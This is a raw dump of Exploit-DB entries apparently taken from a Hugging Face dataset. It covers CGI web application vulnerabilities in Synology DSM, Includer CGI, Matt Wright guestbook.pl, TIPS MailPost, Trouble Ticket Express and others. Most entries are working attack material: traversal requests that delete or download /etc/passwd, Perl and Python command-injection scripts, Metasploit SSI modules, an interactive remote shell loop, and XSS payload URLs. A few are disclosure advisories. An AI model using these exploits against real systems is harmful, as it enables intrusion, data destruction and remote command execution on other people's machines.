deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30475
Description: Synology DSM 4.3-3810 - Directory Traversal
Type: webapps
Platform: cgi
Date: 2013-12-24
Author: Andrea Fabrizi

Exploit:
**************************************************************
Title: Synology DSM multiple directory traversal
Version affected: <= 4.3-3810
Vendor: Synology
Discovered by: Andrea Fabrizi
Email: andrea.fabrizi@gmail.com
Web: http://www.andreafabrizi.it
Twitter: @andreaf83
Status: patched
CVE: 2013-6987
**************************************************************

I'm again here with a Synology DSM vulnerability.

Synology DiskStation Manager (DSM) it's a Linux based operating
system, used for the DiskStation and RackStation products.

I found a lot of directory traversal in the FileBrowser components.
This kind of vulnerability allows any authenticated user, even if not
administrative, to access, create, delete, modify system and
configuration files.

The only countermeasure implemented against this vulnerability is the
check that the path starts with a valid shared folder, so is enough to
put the "../" straight after, to bypass the security check.

Vulnerables CGIs:
- /webapi/FileStation/html5_upload.cgi
- /webapi/FileStation/file_delete.cgi
- /webapi/FileStation/file_download.cgi
- /webapi/FileStation/file_sharing.cgi
- /webapi/FileStation/file_share.cgi
- /webapi/FileStation/file_MVCP.cgi
- /webapi/FileStation/file_rename.cgi

Not tested all the CGI, but I guess that many others are vulnerable,
so don't take my list as comprehensive.

Following some examples ("test" is a valid folder name):

- Delete /etc/passwd
===========================================
POST /webapi/FileStation/file_delete.cgi HTTP/1.1
Host: 192.168.56.101:5000
X-SYNO-TOKEN: XXXXXXXX
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 103
Cookie: stay_login=0; id=kjuYI0HvD92m6
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

path=/test/../../etc/passwd&accurate_progress=true&api=SYNO.FileStation.Delete&method=start&version=1
===========================================

- Arbitrary file download:
===========================================
GET /fbdownload/?dlink=2f746573742f2e2e2f2e2e2f6574632f[PII_REDACTED]64 HTTP/1.1
Host: 192.168.56.101:5000
Connection: keep-alive
Authorization: Basic XXXXXXXX
===========================================

2f746573742f2e2e2f2e2e2f6574632f[PII_REDACTED]64 -> /test/../../etc/passwd

- Remote file list:
=========================
POST /webapi/FileStation/file_share.cgi HTTP/1.1
Host: 192.168.56.101:5000
X-SYNO-TOKEN: XXXXXXXX
Content-Length: 75
Cookie: stay_login=0; id=f9EThJSyRaqJM; BCSI-CS-36db57a1c38ce2f6=2

folder_path=/test/../../tmp&api=SYNO.FileStation.List&method=list&version=1
==========================

Timeline:
- 05/12/2013: First contact with the vendor
- 06/12/2013: Vulnerability details sent to the vendor
- 20/12/2013: Patch released by the vendor
Exploit-DB #43190
Description: Synology StorageManager 5.2 - Root Remote Command Execution
Type: webapps
Platform: cgi
Date: 2017-11-28
Author: SecuriTeam

Exploit:
'''
SSD Advisory – Synology StorageManager smart.cgi Remote Command Execution

Full report: https://blogs.securiteam.com/index.php/archives/3540
Twitter: @SecuriTeam_SSD
Weibo: SecuriTeam_SSD


﻿Vulnerability Summary
The following advisory describes a remote command execution vulnerability
found in Synology StorageManager.

Storage Manager is “a management application that helps you organize and
monitor the storage capacity on your Synology NAS. Depending on the model
and number of installed hard drives, Storage Manager helps you accomplish
the following tasks:

Create different types of RAID and non-RAID storage configurations, such as
volumes, disk/RAID groups, iSCSI LUNs, and iSCSI Targets.
Monitor the overall storage usage of your Synology NAS.
Inspect the health of installed hard drives and solid state drives.
Use advanced options, such as hot spare drives, SSD TRIM, SSD cache, and
more.”

Credit
An independent security researcher, Nigusu Kassahun, has reported this
vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
Synology has released patches to address this vulnerability – DSM 5.2-5967-5

For more information: https://www.synology.com/en-global/releaseNote/DS210+

Vulnerability details
User controlled input is not sufficiently sanitized, and then passed to
execve function.

Successful exploitation of this vulnerability enables a remote
unauthenticated user to run commands as root on the machine.

The vulnerable parameter can be found in
/webman/modules/StorageManager/smart.cgi with parameter
action=apply&operation=quick&disk=%2Fdev%2Fsda

Proof of Concept

===
'''

# Synology StorageManager <= 5.2 Remote Root Command Execution


import httplib


HOST = raw_input("Enter Host: ")


#IDOR to bypass auth and ticks to chain commands

conn = httplib.HTTPConnection(HOST)

conn.request("GET","/webman/modules/StorageManager/smart.cgi?action=apply&operation=quick&disk=/dev/sda`id%20>/tmp/LOL`")

res = conn.geresponse()

print res.status, res.reason
Exploit-DB #27583
Description: TalentSoft Web+ Shop 5.0 - 'Deptname' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-04-07
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17418/info

Web+ Shop is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/webplus.exe?script=/webpshop/department.wml&deptid=3&deptname=[XSS]
Exploit-DB #862
Description: The Includer CGI 1.0 - Remote Command Execution (1)
Type: webapps
Platform: cgi
Date: 2005-03-07
Author: Francisco Alisson

Exploit:
Remote Command Execution on:

Example I.: www.host-vulnerable.com/includer.cgi?|id|
Example II.: www.host-vulnerable.com/includer.cgi?template=|id|

# milw0rm.com [2005-03-07]
Exploit-DB #922
Description: The Includer CGI 1.0 - Remote Command Execution (2)
Type: webapps
Platform: cgi
Date: 2005-04-08
Author: GreenwooD

Exploit:
                                                                                                                                                                                                                                                               #!/usr/bin/perl

############################################################
# Target - The Includer CGI <= 1.0                         #
#                                                          #
# Based on - http://www.milw0rm.com/id.php?id=862 (https://www.exploit-db.com/exploits/862/)          #
#                                                          #
# Info about bug - Stupid use "Open" function.             #
#                                                          #
############################################################
# If you want know more visit our home page at nst.void.ru #
############################################################
use IO::Socket;


if (@ARGV < 3)
{
  print " \n Includer CGI <= 1.0 Network Security Team - nst.void.ru\n\n";
  print " Usage: <target> <dir> <cmd>\n\n"; 
  print "   <host> - Host name of taget.\n";
  print "   <dir> - If not in dir type / symbol.\n";
  print "   <cmd> - command for execution.\n\n";
  print " Examples:\n\n";
  print "   incl_10.pl 127.0.0.1 /cgi-bin/ \"ls -la\"\n";
  print "   incl_10.pl 127.0.0.1 / \"uname -a\"\n";
  print "   incl_10.pl www.test.com / \"ps auxw\"\n";
  exit();
}


$serv = $ARGV[0];
$serv =~ s/http:\/\///ge;

$dir = $ARGV[1];
$cmd = $cmde = $ARGV[2];
  
print "\n ===[ Info for query ]========================\n";   
print " = Target: $serv\n";
print " = Dir: $dir\n";
print " = Cmd: $cmd\n";
print " =============================================\n\n";   

$cmde =~ s/ /"\$IFS"/ge;

$req  = "GET http://$serv";                                      
$req .= "$dir";
$req .= "includer.cgi?|echo\$IFS\"_N_\";$cmde;echo\$IFS\"_T_\"| HTTP/1.0\n\n";


$s = IO::Socket::INET->new(Proto=>"tcp",
                           PeerAddr=>"$serv",
                           PeerPort=>80) or die " (-) - Can't connect to the server\n";

print $s $req;

$flag = 0;

while ($ans = <$s>)

 {
   if ($ans =~ /_T_/) { print " =========================================================\n"; exit() }
   if ($flag == 1) { print " $ans"; }
   if ($ans =~ /^_N_/) { print " ===[ Executed command $cmd ]===============================\n"; $flag = 1 }
   
 }

# milw0rm.com [2005-04-08]
Exploit-DB #923
Description: The Includer CGI 1.0 - Remote Command Execution (3)
Type: webapps
Platform: cgi
Date: 2005-04-08
Author: K-C0d3r

Exploit:
#!/usr/bin/perl
#
# [K-C0d3r] Includer.cgi 1.0 remote command execution [K-C0d3r]
#
# C0d3d By K-C0d3r, a www.x0n3-h4ck.org friend!
#
# I think the bug was discovered by Francisco Alisson.
#
# Greetz to: mZ, CorryL, Expanders, SiNaPsE, off, rikky, milw0rm.
#
# F**K o*f to all RxBot kiddies as e*****t, G***n, d***b.
#
##########################################################################
# [kc@K-C0d3r xpl]$ perl KCincluder.pl 127.0.0.1 /cgi-bin/includer.cgi 1
# [K-C0d3r] Includer.cgi Remote Command Execution Exploit [K-C0d3r]
# [?] Insert command: id
# [+] Conecting to 127.0.0.1
# [+] Connected to 127.0.0.1
# [+] Injecting command ...
# uid=500(kc) gid=500(kc) gruppi=500(kc)
# [kc@K-C0d3r xpl]$
##########################################################################

use IO::Socket;

sub Usage {
print STDERR "Usage:\nKCinc-xpl.pl <www.victim.com> </path/to/includer.cgi> <exploitation_type>.\n";
print STDERR "Exploitation Types:\n \t\t1: includer.cgi?|command|\n \t\t2: includer.cgi?template=|command|\n\n";
exit;
}

if (@ARGV < 3)
{
 Usage();
}


$host = @ARGV[0];
$path = @ARGV[1];
print "[K-C0d3r] Includer.cgi Remote Command Execution Exploit [K-C0d3r]\n";
print "[?] Insert command: ";
$command = <STDIN>;
$type = @ARGV[2];

if ($type > 2)
{
 Usage();
}


print "[+] Conecting to $host\n";

if ($type = 1)
{
$injection = "$host$path?|$command|";
$socket = new IO::Socket::INET (PeerAddr => "$host",
                                PeerPort => 80,
                                Proto => 'tcp');
                                die unless $socket;
print "[+] Connected to $host\n";
print "[+] Injecting command ...\n";
print $socket "GET http://$injection HTTP/1.1\nHost: $host\n\n";
while (<$socket>)
{
 print $_;
 exit;
}
}

if ($type = 2)
{
$injection = "$host$path?template=|$command|";
$socket = new IO::Socket::INET (PeerAddr => "$host",
                                PeerPort => 80,
                                Proto => 'tcp');
                                die unless $socket;
print "[+] Connected to $host\n";
print "[+] Injecting command\n";
print $socket "GET http://$injection HTTP/1.1\nHost: $host\n\n";
while (<$socket>)
{
 print $_;
 exit;
}
}

# milw0rm.com [2005-04-08]
Exploit-DB #16914
Description: The Matt Wright Guestbook.pl - Arbitrary Command Execution (Metasploit)
Type: webapps
Platform: cgi
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: guestbook_ssi_exec.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Matt Wright guestbook.pl Arbitrary Command Execution',
			'Description'    => %q{
				The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
				a flaw that may allow arbitrary command execution. The vulnerability
				requires that HTML posting is enabled in the guestbook.pl script, and
				that the web server must have the Server-Side Include (SSI) script
				handler enabled for the '.html' file type. By combining the script
				weakness with non-default server configuration, it is possible to exploit
				this vulnerability successfully.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9671 $',
			'References'     =>
				[
					[ 'CVE', '1999-1053' ],
					[ 'OSVDB', '84' ],
					[ 'BID', '776' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Platform'       => [ 'unix', 'win', 'linux' ],
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Nov 05 1999',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]),
					OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]),
				], self.class)
	end

	def exploit
		realname	= rand_text_alphanumeric(20)
		email		= rand_text_alphanumeric(20)
		city		= rand_text_alphanumeric(20)
		state		= rand_text_alphanumeric(20)
		country 	= rand_text_alphanumeric(20)

		sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal')

		req1 = send_request_cgi({
			'uri'     => datastore['URI'],
			'method'  => 'POST',
			'data'    => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",
		}, 25)

		req2 = send_request_raw({
			'uri'     => datastore['URIOUT'],
		}, 25)

	end
end
Exploit-DB #9907
Description: The Matt Wright Guestbook.pl 2.3.1 - Server-Side Include
Type: webapps
Platform: cgi
Date: 1999-11-05
Author: patrick

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Matt Wright guestbook.pl Arbitrary Command Execution',
			'Description'    => %q{
				The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
				a flaw that may allow arbitrary command execution. The vulnerability
				requires that HTML posting is enabled in the guestbook.pl script, and
				that the web server must have the Server-Side Include (SSI) script
				handler enabled for the '.html' file type. By combining the script
				weakness with non-default server configuration, it is possible to exploit
				this vulnerability successfully.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '1999-1053' ],
					[ 'OSVDB', '84' ],
					[ 'BID', '776' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},		
			'Platform'       => [ 'unix', 'win', 'linux' ],
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Nov 05 1999',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]),
					OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]),
				], self.class)
	end

	def exploit
		realname	= rand_text_alphanumeric(20)
		email		= rand_text_alphanumeric(20)
		city		= rand_text_alphanumeric(20)
		state		= rand_text_alphanumeric(20)
		country		= rand_text_alphanumeric(20)

		sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal')

		req1 = send_request_cgi({
			'uri'     => datastore['URI'],
			'method'  => 'POST',
			'data'    => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",
		}, 25)

		req2 = send_request_raw({
			'uri'     => datastore['URIOUT'],
		}, 25)
		
	end
end
Exploit-DB #24721
Description: TIPS MailPost 5.1.1 - 'APPEND' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-11-03
Author: Procheckup

Exploit:
source: https://www.securityfocus.com/bid/11596/info

MailPost is reported prone to a cross-site scripting vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data and can allow an attacker to execute arbitrary HTML and script code in a user's browser.

This vulnerability may allow for theft of cookie-based authentication credentials or other attacks.

MailPost 5.1.1sv is reported prone to this issue. It is possible that other versions are affected as well.

http://www.example.com/scripts/mailpost.exe?*debug*=''&append=<script>alert('Can%20Cross%20Site%20Script')</script>
Exploit-DB #24722
Description: TIPS MailPost 5.1.1 - Error Message Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-11-03
Author: Procheckup

Exploit:
source: https://www.securityfocus.com/bid/11598/info

MailPost is reported prone to a cross-site scripting vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data and can allow an attacker to execute arbitrary HTML and script code in a user's browser through a malicious error message returned from the application. 

This attack would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks. 

MailPost 5.1.1sv is reported prone to this issue. It is possible that other versions are affected as well.

http://www.example.com/scripts/mailpost.exe/<script>alert('hi')</script>/mail.txt
Exploit-DB #24723
Description: TIPS MailPost 5.1.1 - Remote File Enumeration
Type: webapps
Platform: cgi
Date: 2004-11-03
Author: Gemma Hughes

Exploit:
source: https://www.securityfocus.com/bid/11599/info

TIPS MailPost is affected by a remote file enumeration vulnerability. This issue is due to a failure to properly sanitize user requests.

An attacker may leverage this issue to gain knowledge of the existence of files outside the Web root directory. Information disclosed in this way may facilitate further attacks.

http://www.example.com/scripts/mailpost.exe/..%255c..%255c..%255cwinnt/system.ini?*nosend*=&email=test@procheckup.com
Exploit-DB #25042
Description: Tlen.pl 5.23.4.1 - Instant Messenger Remote Script Execution
Type: webapps
Platform: cgi
Date: 2004-12-20
Author: Jaroslaw Sajko

Exploit:
source: https://www.securityfocus.com/bid/12050/info

Tlen.pl is reported prone to a potential script execution vulnerability. It is reported that this issue may allow remote attackers to execute arbitrary script code on a vulnerable computer, which may lead to various attacks.

Tlen.pl 5.23.4.1 and prior versions are affected by this vulnerability. 

www.tlen.pl"style=background-image:url(javascript:alert(%22You%20are%20owned!%22));.pl
Exploit-DB #40274
Description: TOPSEC Firewalls - 'ELIGIBLEBOMBSHELL' Remote Code Execution
Type: webapps
Platform: cgi
Date: 2016-08-19
Author: Shadow Brokers

Exploit:
# Exploit Title: TOPSEC Firewalls - Remote Code Execution (ELIGIBLEBOMBSHELL)
# Date: 19-08-2016
# Exploit Author: Shadow Brokers
# Vendor Homepage: http://www.topsec.com.cn/


Full Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40274.zip
Exploit-DB #40273
Description: TOPSEC Firewalls - 'ELIGIBLECANDIDATE' Remote Code Execution
Type: webapps
Platform: cgi
Date: 2016-08-19
Author: Shadow Brokers

Exploit:
# Exploit Title: TOPSEC Firewalls - Remote Code Execution (ELIGIBLECANDIDATE)
# Date: 19-08-2016
# Exploit Author: Shadow Brokers
# Vendor Homepage: http://www.topsec.com.cn/


Full Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40273.zip
Exploit-DB #40272
Description: TOPSEC Firewalls - 'ELIGIBLECONTESTANT' Remote Code Execution
Type: webapps
Platform: cgi
Date: 2016-08-19
Author: Shadow Brokers

Exploit:
# Exploit Title: TOPSEC Firewalls - Remote Code Execution (ELIGIBLECONTESTANT)
# Date: 19-08-2016
# Exploit Author: Shadow Brokers
# Vendor Homepage: http://www.topsec.com.cn/


Full Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40272.zip
Exploit-DB #31892
Description: Tornado Knowledge Retrieval System 4.2 - 'p' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2008-06-10
Author: Unohope

Exploit:
source: https://www.securityfocus.com/bid/29626/info

Tornado Knowledge Retrieval System is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Tornado Knowledge Retrieval System 4.2 is vulnerable; prior versions may also be affected.

http://www.example.com/tornado/searcher.exe?v=root&p=<script>alert(/xss/)</script>
Exploit-DB #40266
Description: TOSHIBA IP-Camera IK-WP41A - Authentication Bypass / Configuration Download
Type: webapps
Platform: cgi
Date: 2016-08-19
Author: Todor Donev

Exploit:
# 
#
#  TOSHIBA IK-WP41A IP-Camera auth bypass configuration download
#
#  Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#  
#  Disclaimer:
#  This or previous programs is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#  
#  Use them at your own risk!
#
#  
 
http://TARGET/cgi-bin/chklogin.cgi?file=config.ini
Exploit-DB #11723
Description: Trouble Ticket Express 3.01 - Remote Code Execution / Directory Traversal
Type: webapps
Platform: cgi
Date: 2010-03-14
Author: zombiefx

Exploit:
# Exploit Title: Trouble Ticket Express Remote Code Execution/Directory Traversal
# Author: zombiefx <darkernet@gmail.com<mailto:darkernet@gmail.com>>
# Software Link: http://www.troubleticketexpress.com/download/ttx301.zip
# Version: v3.01,v3.0,v2.24,v2.21
# Tested on: Linux
# CVE :
# Code:

# This is only possible if an attachment input is available.
# Directory Traversal Vuln is
# http://localhost/cgi-bin/ttx.cgi?cmd=file&fn=../../../../../../etc/passwd
# Simple perl code to run commands on the box
# $ id
# uid=0(httpd) gid=0(httpd) groups=0(httpd)
# $ whoami
# httpd

#!/usr/bin/perl
use warnings;
use strict;
use LWP::Simple;
my $url = 'http://localhost/cgi-bin/ttx.cgi';
print '$ ';
while (<>) {
    print get( $url . '?cmd=file&fn=|' . $_ . '|' );
    print '$ ';
}
<mailto:darkernet@gmail.com>